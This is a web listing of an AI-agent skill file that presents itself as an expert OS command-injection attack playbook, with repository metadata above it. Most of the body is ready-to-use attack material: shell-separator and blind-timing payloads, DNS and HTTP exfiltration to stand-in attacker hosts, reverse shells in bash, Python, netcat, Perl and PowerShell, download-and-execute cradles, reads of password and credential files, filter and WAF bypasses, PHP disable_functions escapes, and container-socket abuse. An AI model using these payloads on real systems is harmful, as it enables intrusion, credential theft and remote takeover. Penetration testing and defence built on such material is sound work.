cmdi-command-injection
Skill2 starsChanged 5 months agoApache-2.0View on GitHub
Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.
3 other projects use a version of this, 2 of them edited.
Adopted by
Most recently taken up by
- Kur1sulab/blackboxedited, first seen Aug 12, 2026
- snowflakeovo/cmdi-command-injectionedited, first seen Aug 11, 2026
- yaklang/hack-skillsword for word, first seen Apr 29, 2026
Other versions3 projects use a version of this.
Word for word · 1
- yaklang/hack-skills★ 2.4k100% same
Edited · 2
- Kur1sulab/blackbox★ 3100% same
- snowflakeovo/cmdi-command-injection★ 171% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository168 other files it gives its agents.
- AGENTS.mdAGENTS.md
- .cursor/rules/CO-STAR-UI-CREATOR/AGENT.mdcCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-CREATOR.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-PROMPT.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/README.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/ui.mdCursor rule
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The file
We split this skill into the rules it gives an agent
5 rules. About 0 are common, 3 are distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈3
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 13
Before going deep, you can first load:
- Distinctive: line 104
When response shows no command output:
- Very specific: line 377
When system(), exec(), shell_exec(), passthru(), popen(), proc_open() are all disabled:
- Very specific: line 583
When a web application constructs kubectl exec commands with user input:
- Distinctive: line 641
When an application allows setting or influencing environment variables, several variables have implicit execution semantics:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: OS Command Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.
0. RELATED ROUTING
Before going deep, you can first load:
- upload insecure files when the shell sink is part of a broader upload, import, or conversion workflow
First-pass payload families
| Context | Start With | Backup |
| generic shell separator | ;id | &&id |
| quoted argument | ";id;" | ';id;' |
| blind timing | ;sleep 5 | & timeout /T 5 /NOBREAK |
| command substitution | $(id) | `id` |
| out-of-band DNS | ;nslookup token.collab | Windows nslookup variant |
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid1. SHELL METACHARACTERS (INJECTION OPERATORS)
These characters break out of the command context and inject new commands:
| Metacharacter | Behavior | Example |
; | Runs second command regardless | dir; whoami |
| | Pipes stdout to second command | dir | whoami |
|| | Run second only if first FAILS | dir || whoami |
& | Run second in background (or sequenced in Windows) | dir & whoami |
&& | Run second only if first SUCCEEDS | dir && whoami |
$(cmd) | Command substitution | echo $(whoami) |
`cmd` | Command substitution (backtick) | echo `whoami` |
> | Redirect stdout to file | cmd > /tmp/out |
>> | Append to file | cmd >> /tmp/out |
< | Read file as stdin | cmd < /etc/passwd |
%0a | Newline character (URL-encoded) | cmd%0awhoami |
%0d%0a | CRLF | Multi-command injection |
2. COMMON VULNERABLE CODE PATTERNS
PHP
$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)
exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file); // ImageMagick RCE
passthru("nslookup " . $host); // $host = "x.com; id"Python
import os
os.system("curl " + url) # url = "x.com; id"
subprocess.call("ls " + path, shell=True) # shell=True is the key vulnerability
os.popen("ping " + host)Node.js
const { exec } = require('child_process');
exec('ping ' + req.query.host, ...); // host = "x.com; id"Perl
$dir = param("dir");
$command = "du -h /var/www/html" . $dir;
system($command);
// Inject dir field: | cat /etc/passwdASP (Classic)
szCMD = "type C:\logs\" & Request.Form("FileName")
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run szCMD
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt3. BLIND COMMAND INJECTION — DETECTION
When response shows no command output:
Time-Based Detection
# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &
# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777Compare response time without payload vs with payload. 5+ second delay = confirmed.
OOB via DNS
# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)
# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOSTOOB via HTTP
# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)
# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"OOB via Out-of-Band File
; id > /var/www/html/RANDOM_FILE.txt
# Then access: https://target.com/RANDOM_FILE.txt4. INJECTION CONTEXT VARIATIONS
Within Quoted String
command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""Within Single-Quoted String
command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''Within Backtick Execution
output=`command INJECT`
# Inject: x`; id ;`File Path Context
cat /var/log/INJECT
# Inject: ../../../etc/passwd (path traversal)
# Inject: access.log; id (command injection)5. PAYLOAD LIBRARY
Information Gathering
; id # current user
; whoami # user name
; uname -a # OS info
; cat /etc/passwd # user list
; cat /etc/shadow # password hashes (if root)
; ls /home/ # home directories
; env # environment variables (DB creds, API keys!)
; printenv # same
; cat /proc/1/environ # process environment
; ifconfig # network interfaces
; cat /etc/hosts # host entriesReverse Shells (Linux)
# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash
# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Reverse Shells (Windows via PowerShell)
& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
& powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"6. FILTER BYPASS TECHNIQUES
Space Alternatives (when space is filtered)
cat</etc/passwd # < instead of space
{cat,/etc/passwd} # brace expansion
cat$IFS/etc/passwd # $IFS variable (field separator)
X=$'\x20'&&cat${X}/etc/passwd # hex encoded spaceSlash Alternatives (when / is filtered)
$'\057'etc$'\057'passwd # octal representation
cat /???/???sec??? # glob expansionKeyword Bypass via Variable Assembly
a=c;b=at;c=/etc/passwd; $a$b $c # 'cat /etc/passwd'
c=at;ca$c /etc/passwd # catNewline Injection
cmd%0Aid%0Awhoami # URL-encoded newlines
cmd$'\n'id$'\n'whoami # literal newlines7. COMMON INJECTION ENTRY POINTS
| Entry | Example |
| Network tools | ping, nslookup, traceroute, whois forms |
| File conversion | image resize, PDF generate, format convert |
| Email senders | From address, name fields in notification emails |
| Search/sort parameters | Passed to grep, find, sort commands |
| Log viewing | Passed to tail, grep commands |
| Custom script execution | "Run test" features, CI/CD hooks |
| DNS lookup features | rDNS lookup, WHOIS query |
| Backup/restore features | File path parameters |
| Archive processing | zip/unzip, tar with user-provided filename |
8. BLIND INJECTION DECISION TREE
Found potential injection point?
├── Try basic: ; sleep 5
│ └── Response delays? → Confirmed blind injection
│ ├── Extract data via timing: if/then sleep
│ └── Use OOB: curl/nslookup to Collaborator
│
├── No delay observed?
│ ├── Try: | sleep 5
│ ├── Try: $(sleep 5)
│ ├── Try: ` sleep 5 `
│ ├── Try after URL encoding: %3B%20sleep%205
│ └── Try double encoding: %253B%2520sleep%25205
│
└── All blocked → check WEB APPLICATION LAYER
Filter on input? → encode differently
Filter on specific commands? → whitespace bypass, $IFS, glob9. ADVANCED WAF BYPASS TECHNIQUES
Wildcard Expansion
# Use ? and * to bypass keyword filters:
/???/??t /???/p??s?? # /bin/cat /etc/passwd
/???/???/????2 *.php # /usr/bin/find2 *.php (approximate)
# Globbing for specific files:
cat /e?c/p?sswd
cat /e*c/p*dcat Alternatives (when "cat" is filtered)
tac /etc/passwd # reverse cat
nl /etc/passwd # numbered lines
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
sort /etc/passwd
uniq /etc/passwd
rev /etc/passwd | rev
xxd /etc/passwd
strings /etc/passwd
od -c /etc/passwd
base64 /etc/passwd # then decode offlineComment Insertion (PHP specific)
# Insert comments within function names to bypass WAF:
sys/*x*/tem('id') # PHP ignores /* */ in some eval contexts
# Note: this works with eval() and similar PHP dynamic callsXOR String Construction (PHP)
# Build function names from XOR of printable characters:
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
# Produces: "assert"
$_('%13%19%13%14%05%0d'|'%60%60%60%60%60%60');
# Evaluates: assert("system")Base64/ROT13 Encoding
# Encode payload, decode at runtime:
base64_decode('c3lzdGVt')('id'); # system('id')
str_rot13('flfgrz')('id'); # system → flfgrz via ROT13chr() Assembly
# Build strings character by character:
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109) # "system"Dollar-Sign Variable Tricks
# $IFS (Internal Field Separator) as space:
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
# Unset variables expand to empty:
c${x}at /etc/passwd # $x is unset → "cat"10. PHP disable_functions BYPASS PATHS
When system(), exec(), shell_exec(), passthru(), popen(), proc_open() are all disabled:
Path 1: LD_PRELOAD + mail()/putenv()
// 1. Upload shared object (.so) that hooks a libc function
// 2. Set LD_PRELOAD to point to it
putenv("LD_PRELOAD=/tmp/evil.so");
// 3. Trigger external process (mail() calls sendmail)
mail("a@b.com", "", "");
// The .so's constructor runs with shell accessPath 2: Shellshock (CVE-2014-6271)
// If bash is vulnerable to Shellshock:
putenv("PHP_LOL=() { :; }; /usr/bin/id > /tmp/out");
mail("a@b.com", "", "");
// Bash processes the function definition and runs the trailing commandPath 3: Apache mod_cgi + .htaccess
// Write .htaccess enabling CGI:
file_put_contents('/var/www/html/.htaccess', 'Options +ExecCGI\nAddHandler cgi-script .sh');
// Write CGI script:
file_put_contents('/var/www/html/cmd.sh', "#!/bin/bash\necho Content-type: text/html\necho\n$1");
chmod('/var/www/html/cmd.sh', 0755);
// Access: /cmd.sh?idPath 4: PHP-FPM / FastCGI
// If PHP-FPM socket is accessible (/var/run/php-fpm.sock or port 9000):
// Send crafted FastCGI request to execute arbitrary PHP with different php.ini
// Tool: https://github.com/neex/phuip-fpizdam
// Override: PHP_VALUE=auto_prepend_file=/tmp/shell.phpPath 5: COM Object (Windows)
// Windows only, if COM extension enabled:
$wsh = new COM('WScript.Shell');
$exec = $wsh->Run('cmd /c whoami > C:\inetpub\wwwroot\out.txt', 0, true);Path 6: ImageMagick Delegate (CVE-2016-3714 "ImageTragick")
// If ImageMagick processes user-uploaded images:
// Upload SVG/MVG with embedded command:
// Content of exploit.svg:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-contextAlso consider (summary): iconv (CVE-2024-2961) via php://filter/convert.iconv; FFI (FFI::cdef + libc) when the extension is enabled.
11. COMPONENT-LEVEL COMMAND INJECTION
ImageMagick Delegate Abuse
# MVG format with shell command in URL:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id > /tmp/out`'
pop graphic-context
# Or via filename: convert '|id' out.pngFFmpeg (HLS/concat protocol)
# SSRF/LFI via m3u8 playlist:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST
# Upload as .m3u8, FFmpeg processes and may leak file contents in outputElasticsearch Groovy Script (pre-5.x)
POST /_search
{
"query": { "match_all": {} },
"script_fields": {
"cmd": {
"script": "Runtime rt = Runtime.getRuntime(); rt.exec('id')"
}
}
}Ping/Traceroute/NSLookup Diagnostic Pages
# Classic injection point in network diagnostic features:
# Input: 127.0.0.1; id
# Input: 127.0.0.1 && cat /etc/passwd
# Input: `id`.attacker.com (DNS exfil via backtick)
# These features directly call OS commands with user inputOther sinks (quick reference): PDF generators (wkhtmltopdf / WeasyPrint with user HTML); Git wrappers (git clone URL / hooks).
12. WINDOWS CMD.EXE VS POWERSHELL INJECTION MATRIX
| Feature | cmd.exe | PowerShell |
| Command separator | &, &&, ||, ; (limited) | ;, |, & (call operator) |
| Variable expansion | %VARIABLE%, !VAR! (delayed) | $env:VARIABLE, $Variable |
| Escape character | ^ (caret) | ` (backtick) |
| Command substitution | FOR /F loops | $() subexpression |
| Encoded execution | N/A | -EncodedCommand (base64 UTF-16LE) |
| Pipeline | | (stdout only) | | (objects, not text) |
| Comment | REM, :: | # |
| String quoting | "double" only | "double", 'single' (no expansion) |
cmd.exe specific payloads
REM Command chaining
dir & whoami
dir && whoami
dir || whoami
REM Caret escape to bypass keyword filters
w^h^o^a^m^i
n^e^t u^s^e^r
REM Variable expansion injection
set CMD=whoami
%CMD%
REM Environment variable exfiltration via DNS
nslookup %USERNAME%.attacker.com
nslookup %COMPUTERNAME%.attacker.com
REM Delayed expansion (when !var! is enabled)
cmd /V:ON /C "set x=whoami&!x!"PowerShell specific payloads
# Semicolon separator
Get-Process; whoami
# Subexpression
"$(whoami)"
Write-Output $(hostname)
# Base64 encoded command (UTF-16LE)
powershell -EncodedCommand dwBoAG8AYQBtAGkA
# Decodes to: whoami
# Invoke-Expression obfuscation
$a='who';$b='ami';iex "$a$b"
& (gcm *ke-*) "whoami"
# Download and execute
IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')
IEX (iwr http://attacker/payload.ps1 -UseBasicParsing).Content
# Constrained Language Mode bypass (if available)
powershell -Version 2 -Command "whoami"Cross-platform payload differences
| Target | Time delay | DNS exfil | File read |
| Linux/macOS | sleep 5 | nslookup $(whoami).atk.com | cat /etc/passwd |
| cmd.exe | timeout /T 5 /NOBREAK | nslookup %USERNAME%.atk.com | type C:\Windows\win.ini |
| PowerShell | Start-Sleep 5 | nslookup $(whoami).atk.com | Get-Content C:\Windows\win.ini |
Detection-first polyglot
;sleep${IFS}5;#&timeout /T 5 /NOBREAK&#Works across sh/bash/cmd contexts — one of the separators will fire.
13. CONTAINER / K8S EXEC INJECTION
kubectl exec injection
When a web application constructs kubectl exec commands with user input:
# Vulnerable pattern
kubectl exec $POD_NAME -- /bin/sh -c "echo $USER_INPUT"
# Injection via pod name
POD_NAME="mypod -- /bin/sh -c whoami #"
→ kubectl exec mypod -- /bin/sh -c whoami # -- /bin/sh -c "echo ..."
# Injection via user input in command
USER_INPUT='"; cat /etc/passwd; echo "'
→ kubectl exec pod -- /bin/sh -c "echo ""; cat /etc/passwd; echo """Docker exec injection
# Vulnerable web admin panel
docker exec $CONTAINER_NAME $COMMAND
# Injection via container name
CONTAINER_NAME="web_app -u root web_app"
→ docker exec web_app -u root web_app $COMMAND (runs as root)
# Injection via command argument
COMMAND="status; cat /etc/shadow"
→ docker exec container /bin/sh -c "status; cat /etc/shadow"Container runtime API (unauthenticated)
# Docker socket exposed (2375/2376 or /var/run/docker.sock)
POST /containers/create HTTP/1.1
{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],"Binds":["/:/host"]}
# Then start + exec
POST /containers/{id}/start
POST /containers/{id}/exec {"Cmd":["cat","/host/etc/shadow"]}
# Kubernetes API (6443/8443 unauthenticated)
POST /api/v1/namespaces/default/pods/{name}/exec?command=whoami&stdout=trueSinks to watch for
| Component | Injection Vector |
| CI/CD pipeline (Jenkins, GitLab CI) | Build step parameters, environment variables |
| Kubernetes CronJob | .spec.containers[].command from user-defined schedules |
| Helm chart values | values.yaml templated into pod specs with {{ }} |
| Container orchestration UI | "Run command" features in Portainer, Rancher, etc. |
14. ENVIRONMENT VARIABLE INJECTION
When an application allows setting or influencing environment variables, several variables have implicit execution semantics:
Linux / Unix
| Variable | Effect | Exploitation |
LD_PRELOAD | Loaded before any shared library; constructor runs on process start | putenv("LD_PRELOAD=/tmp/evil.so"); mail("a@b","",""); |
LD_LIBRARY_PATH | Overrides library search path | Place malicious libc.so.6 in controlled directory |
BASH_ENV | Executed when non-interactive bash starts | BASH_ENV=/tmp/evil.sh → any system() / popen() call sources it |
ENV | Same as BASH_ENV for POSIX sh | ENV=/tmp/evil.sh |
PROMPT_COMMAND | Executed before each interactive prompt | PROMPT_COMMAND="curl http://atk.com/$(whoami)" |
PS1 | Prompt string, supports $() expansion in bash | PS1='$(cat /etc/passwd > /tmp/out) \$ ' |
PYTHONSTARTUP | Python script executed on interpreter startup | Inject path to malicious .py file |
PERL5OPT | Options passed to every Perl invocation | PERL5OPT='-Mbase;system("id")' |
NODE_OPTIONS | Options passed to every Node.js invocation | NODE_OPTIONS='--require /tmp/evil.js' |
RUBYOPT | Options for Ruby | RUBYOPT='-r/tmp/evil.rb' |
Windows
| Variable | Effect | |
COMSPEC | Path to command interpreter; system() calls use this | Set to malicious executable |
PATH | Command resolution order; place malicious binary earlier in path | DLL/EXE search order hijacking |
PSModulePath | PowerShell auto-loads modules from these paths | Plant malicious module |
Attack scenarios
PHP putenv() + mail():
// When putenv() is not disabled and mail() is available:
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@b.com","","","");
// mail() invokes sendmail → loads evil.so → constructor executes arbitrary codeGit hook injection via environment:
# GIT_DIR / GIT_WORK_TREE manipulation
GIT_DIR=/tmp/evil_repo/.git git status
# If hooks exist in the controlled repo, they executeNode.js --require injection:
NODE_OPTIONS="--require=/tmp/reverse_shell.js" node /app/server.js
# reverse_shell.js is loaded before server.jsDoes it work?
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